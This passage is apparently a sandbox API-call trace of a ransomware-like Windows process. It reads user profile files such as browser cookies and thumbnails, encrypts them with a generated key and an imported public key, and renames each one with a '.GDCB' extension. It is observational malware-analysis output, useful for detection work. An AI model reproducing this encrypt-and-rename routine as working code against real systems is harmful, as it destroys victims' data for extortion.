CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.564] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.565] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.569] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.572] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x4304, lpOverlapped=0x0) returned 1 [0247.622] VirtualAlloc (lpAddress=0x0, dwSize=0x4310, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.629] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png.gdcb")) returned 1 [0247.933] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0247.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.939] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.939] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0247.939] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.939] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0247.942] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.944] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0247.944] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.944] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0247.946] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x677f3c8) returned 1 [0247.947] CryptGetKeyParam (in: hKey=0x677f3c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0247.947] CryptEncrypt (in: hKey=0x677f3c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0247.947] GetLastError () returned 0x0 [0247.947] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.947] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0247.949] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x677f448) returned 1 [0247.949] CryptGetKeyParam (in: hKey=0x677f448, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0247.949] CryptEncrypt (in: hKey=0x677f448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d120*=0x100) returned 1 [0247.949] GetLastError () returned 0x0 [0247.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoft\\windows\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0247.950] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.953] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.956] ReadFile (in: hFile=0x424, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d160*=0x16dc8, lpOverlapped=0x0) returned 1 [0247.984] VirtualAlloc (lpAddress=0x0, dwSize=0x16dd0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.992] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoft\\windows\\1605653898\\4275773285.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\Microsoft\\Windows\\1605653898\\4275773285.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoft\\windows\\1605653898\\4275773285.pri.gdcb")) returned 1 [0248.008] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.013] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.013] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.013] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.013] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.018] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.019] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.019] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.019] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.022] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f7c8) returned 1 [0248.022] CryptGetKeyParam (in: hKey=0x677f7c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.022] CryptEncrypt (in: hKey=0x677f7c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.022] GetLastError () returned 0x0 [0248.022] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.022] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.024] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f488) returned 1 [0248.024] CryptGetKeyParam (in: hKey=0x677f488, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.024] CryptEncrypt (in: hKey=0x677f488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.024] GetLastError () returned 0x0 [0248.024] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.024] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1ZJA02JO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1zja02jo.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.025] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.028] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.031] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x6f, lpOverlapped=0x0) returned 1 [0248.040] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.046] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1ZJA02JO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1zja02jo.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\1ZJA02JO.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\1zja02jo.txt.gdcb")) returned 1 [0248.052] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.056] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.058] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.058] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.058] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.058] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0248.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.063] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.063] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.063] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.064] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.066] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f648) returned 1 [0248.066] CryptGetKeyParam (in: hKey=0x677f648, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.066] CryptEncrypt (in: hKey=0x677f648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.066] GetLastError () returned 0x0 [0248.066] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.066] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.068] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f688) returned 1 [0248.068] CryptGetKeyParam (in: hKey=0x677f688, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.068] CryptEncrypt (in: hKey=0x677f688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.068] GetLastError () returned 0x0 [0248.068] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.069] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\268TPJIA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\268tpjia.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.070] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.073] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.075] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x26c, lpOverlapped=0x0) returned 1 [0248.084] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.090] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\268TPJIA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\268tpjia.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\268TPJIA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\268tpjia.txt.gdcb")) returned 1 [0248.093] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.096] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.100] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.100] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.100] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.100] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.102] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.104] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.104] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.104] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.107] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f6c8) returned 1 [0248.107] CryptGetKeyParam (in: hKey=0x677f6c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.107] CryptEncrypt (in: hKey=0x677f6c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.107] GetLastError () returned 0x0 [0248.107] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.107] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.109] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f2c8) returned 1 [0248.109] CryptGetKeyParam (in: hKey=0x677f2c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.109] CryptEncrypt (in: hKey=0x677f2c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.109] GetLastError () returned 0x0 [0248.109] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.109] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\6KWA3R8C.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\6kwa3r8c.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.110] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.114] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.116] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x4d, lpOverlapped=0x0) returned 1 [0248.125] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.131] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\6KWA3R8C.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\6kwa3r8c.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\6KWA3R8C.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\6kwa3r8c.txt.gdcb")) returned 1 [0248.136] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.139] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.141] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.141] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.141] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.141] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.143] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.146] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.146] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.146] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.146] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.148] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f208) returned 1 [0248.148] CryptGetKeyParam (in: hKey=0x677f208, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.148] CryptEncrypt (in: hKey=0x677f208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.148] GetLastError () returned 0x0 [0248.148] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.148] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.150] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f748) returned 1 [0248.150] CryptGetKeyParam (in: hKey=0x677f748, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.150] CryptEncrypt (in: hKey=0x677f748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.153] GetLastError () returned 0x0 [0248.153] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.153] CreateFileW (lpFileName="C:\\Documents and 